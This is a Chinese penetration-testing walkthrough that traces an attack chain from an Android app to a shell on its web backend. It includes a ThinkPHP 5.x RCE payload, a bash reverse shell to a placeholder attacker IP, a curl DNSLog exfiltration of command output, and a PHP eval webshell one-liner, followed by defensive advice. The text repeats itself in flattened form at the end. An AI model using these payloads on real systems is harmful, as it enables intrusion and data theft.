从一个App到getshell的一次经历
字数 1082 2025-08-12 11:34:11

从安卓App到GetShell的完整渗透测试教学文档

一、测试环境准备

1.1 证书配置(解决安卓7.0+抓包问题)

  1. 导出Burp证书

    • 从Burp Suite导出证书(cacert.der格式)
  2. 证书格式转换

    openssl x509 -in cacert.der -inform DER -out cacert.pem -outform PEM
    
  3. 提取证书Hash值

    openssl x509 -inform PEM -subject_hash -in cacert.pem
    
  4. 安装系统证书

    • 将证书重命名为<hash>.0(如9a5ba575.0
    • 推送到设备系统目录:
      adb push 9a5ba575.0 /system/etc/security/cacerts/
      
    • 设置权限:
      chmod 644 /system/etc/security/cacerts/9a5ba575.0
      

二、App逆向分析

2.1 反编译APK

  1. 使用工具:JADX
  2. 关键搜索:
    • 搜索域名关键字
    • 搜索API端点
    • 搜索硬编码凭证

2.2 信息收集

  1. 从反编译代码中提取:
    • 所有域名
    • API接口
    • 第三方服务引用

三、Web端渗透测试

3.1 基础测试

  1. 后台路径探测:
    • /admin等常见后台路径
  2. 暴力破解:
    • 使用字典测试弱口令
    • 注意观察错误提示

3.2 第三方资产利用

  1. 信息收集:
    • 子域名扫描
    • 目录爆破
  2. 漏洞利用:
    • 识别框架版本(如ThinkPHP)
    • 搜索对应版本漏洞

四、ThinkPHP RCE漏洞利用

4.1 漏洞确认

  1. 识别版本:

    • 访问不存在的路径触发错误页面
    • 查看返回的版本信息
  2. 漏洞利用(以ThinkPHP 5.x RCE为例):

    ?s=index/\think\Request/input&filter[]=system&data=whoami
    

4.2 后渗透操作

  1. 反弹Shell:

    bash -i >& /dev/tcp/攻击者IP/端口 0>&1
    
  2. 源码获取:

    • 查找备份文件(如.bak, .tar.gz等)
    • 使用scp下载源码

五、源码审计与漏洞挖掘

5.1 敏感函数搜索

  1. 关键PHP函数:

    file_get_contents()  // 任意文件读取
    exec(), system(), shell_exec()  // 命令执行
    eval(), assert()  // 代码执行
    
  2. 审计流程:

    • 定位用户输入点
    • 跟踪数据流
    • 检查过滤机制

5.2 命令执行漏洞利用

  1. 漏洞代码示例:

    $content = $_POST['content']; // 用户可控输入
    $cmd = "some_command ".$content;
    exec($cmd); // 未过滤直接执行
    
  2. 利用步骤:

    • 确认参数可控
    • 绕过前置条件(如登录、特定参数)
    • 使用DNSLog验证:
      curl http://dnslog.domain/`whoami`
      
  3. 写入WebShell:

    echo '<?php eval($_POST[cmd]);?>' > /var/www/html/shell.php
    

六、完整攻击链总结

  1. 攻击路径

    App抓包 → 反编译获取域名 → Web端测试 → 第三方资产发现 → ThinkPHP RCE → 源码获取 → 审计发现命令执行 → GetShell
    
  2. 关键点

    • 安卓7.0+证书处理
    • APK反编译信息提取
    • 第三方资产的重要性
    • 源码审计中的敏感函数跟踪

七、防御建议

  1. App层面

    • 证书绑定(Certificate Pinning)
    • 代码混淆
    • 敏感信息加密
  2. Web层面

    • 输入过滤与验证
    • 最小权限原则
    • 及时更新框架版本
  3. 系统层面

    • 隔离生产环境与测试环境
    • 定期安全审计
    • 备份文件保护

八、工具清单

  1. 抓包工具

    • Burp Suite
    • Fiddler
  2. 逆向工具

    • JADX
    • APKTool
  3. 信息收集

    • Subfinder
    • Dirsearch
  4. 漏洞利用

    • Searchsploit
    • Metasploit
  5. 后渗透

    • Netcat
    • LinPEAS

通过以上步骤,可以系统性地完成从安卓App到GetShell的完整渗透测试流程。每个环节都需要仔细操作并记录发现,最终形成完整的攻击链。

从安卓App到GetShell的完整渗透测试教学文档 一、测试环境准备 1.1 证书配置(解决安卓7.0+抓包问题) 导出Burp证书 : 从Burp Suite导出证书(cacert.der格式) 证书格式转换 : 提取证书Hash值 : 安装系统证书 : 将证书重命名为 <hash>.0 (如 9a5ba575.0 ) 推送到设备系统目录: 设置权限: 二、App逆向分析 2.1 反编译APK 使用工具:JADX 关键搜索: 搜索域名关键字 搜索API端点 搜索硬编码凭证 2.2 信息收集 从反编译代码中提取: 所有域名 API接口 第三方服务引用 三、Web端渗透测试 3.1 基础测试 后台路径探测: /admin 等常见后台路径 暴力破解: 使用字典测试弱口令 注意观察错误提示 3.2 第三方资产利用 信息收集: 子域名扫描 目录爆破 漏洞利用: 识别框架版本(如ThinkPHP) 搜索对应版本漏洞 四、ThinkPHP RCE漏洞利用 4.1 漏洞确认 识别版本: 访问不存在的路径触发错误页面 查看返回的版本信息 漏洞利用(以ThinkPHP 5.x RCE为例): 4.2 后渗透操作 反弹Shell: 源码获取: 查找备份文件(如 .bak , .tar.gz 等) 使用 scp 下载源码 五、源码审计与漏洞挖掘 5.1 敏感函数搜索 关键PHP函数: 审计流程: 定位用户输入点 跟踪数据流 检查过滤机制 5.2 命令执行漏洞利用 漏洞代码示例: 利用步骤: 确认参数可控 绕过前置条件(如登录、特定参数) 使用DNSLog验证: 写入WebShell: 六、完整攻击链总结 攻击路径 : 关键点 : 安卓7.0+证书处理 APK反编译信息提取 第三方资产的重要性 源码审计中的敏感函数跟踪 七、防御建议 App层面 : 证书绑定(Certificate Pinning) 代码混淆 敏感信息加密 Web层面 : 输入过滤与验证 最小权限原则 及时更新框架版本 系统层面 : 隔离生产环境与测试环境 定期安全审计 备份文件保护 八、工具清单 抓包工具 : Burp Suite Fiddler 逆向工具 : JADX APKTool 信息收集 : Subfinder Dirsearch 漏洞利用 : Searchsploit Metasploit 后渗透 : Netcat LinPEAS 通过以上步骤,可以系统性地完成从安卓App到GetShell的完整渗透测试流程。每个环节都需要仔细操作并记录发现,最终形成完整的攻击链。